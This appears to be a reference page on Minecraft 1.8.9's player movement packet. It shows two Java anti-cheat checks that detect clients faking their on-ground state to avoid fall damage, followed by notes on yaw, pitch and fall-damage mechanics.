package me.vrekt.arc.check.moving;
import me.vrekt.arc.check.Check;
import me.vrekt.arc.check.CheckType;
import me.vrekt.arc.data.moving.MovingData;
import me.vrekt.arc.utilties.LocationHelper;
import org.bukkit.Location;
import org.bukkit.entity.Player;
public class NoFall extends Check {
public NoFall() {
super(CheckType.NOFALL);
}
public void check(Player player, MovingData data) {
if (data.getGroundLocation() == null) {
return;
}
Location location = data.getCurrentLocation();
Location ground = data.getGroundLocation();
double toGround = LocationHelper.distanceVertical(ground, location);
boolean isDescending = toGround >= 3.0 && data.isDescending() && !data.isOnGround();
// make sure we meet the req.
if (isDescending && !data.isClimbing()) {
boolean ccOnGround = data.isFlyingClientOnGround();
// we're not on ground but the client is?
if (ccOnGround && player.getFallDistance() == 0.0) {
boolean cancel = checkViolation(player, "Fall distance is 0 while not onGround. (Client faked)");
// if we cancel damage the player. (not accurate)
// TODO: Make accurate
if (cancel) {
player.damage(toGround);
}
}
}
}
}Ground-flag consistency check against server-side collision state.
On each position packet, compares the client's onGround flag with the server's own collision check at the reported position; a mismatch between the flag and the block below is a ground-spoof flag. 20-line check, the minimal form of the ground consistency idea.
// ===== FILE: Incognitolol-Hydro, src/main/java/integral/studios/hydro/model/check/impl/movement/ground/GroundA.java =====
package integral.studios.hydro.model.check.impl.movement.ground;
import integral.studios.hydro.model.check.type.PositionCheck;
import integral.studios.hydro.model.check.violation.category.Category;
import integral.studios.hydro.model.check.violation.category.SubCategory;
import integral.studios.hydro.model.check.violation.handler.ViolationHandler;
import integral.studios.hydro.model.PlayerData;
import integral.studios.hydro.util.chat.CC;
import integral.studios.hydro.model.check.violation.impl.DetailedPlayerViolation;
public class GroundA extends PositionCheck {
private int groundSpoofTicks;
public GroundA(PlayerData playerData) {
super(playerData, "Ground A", "Yes check", new ViolationHandler(20, 300L), Category.MOVEMENT, SubCategory.GROUND);
}
@Override
public void handle() {
}
}Related Packets
Wiki Cross-Reference
Yaw is measured in degrees starting at (0, 1) and turning counterclockwise with 90 at (-1, 0), 180 at (0, -1) and 270 at (1, 0), and it is not clamped to 0-360; pitch is 0 looking straight ahead, -90 straight up and 90 straight down.
Fall damage is applied when the on-ground state goes from false to true, with the amount based on the point where it last changed from true to false. Vanilla clients keep sending movement packets even while the player is stationary.
MCP 1.8.9 C03PacketPlayer implements Packet
1.8.9 callers: EntityPlayerSP.onUpdate sends new C03PacketPlayer (line 176) +1 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/client/entity/EntityPlayerSP.java
Cross-checked against minecraft.wiki (CC BY-SA 3.0) for 1.8.9 accuracy.
Vanilla Internals
Full 1.8.9 logic-class sources that send or handle this packet, stored verbatim.
Module Analyses Using C03PacketPlayer
Full source walkthroughs of the modules and anti-cheats that use this packet.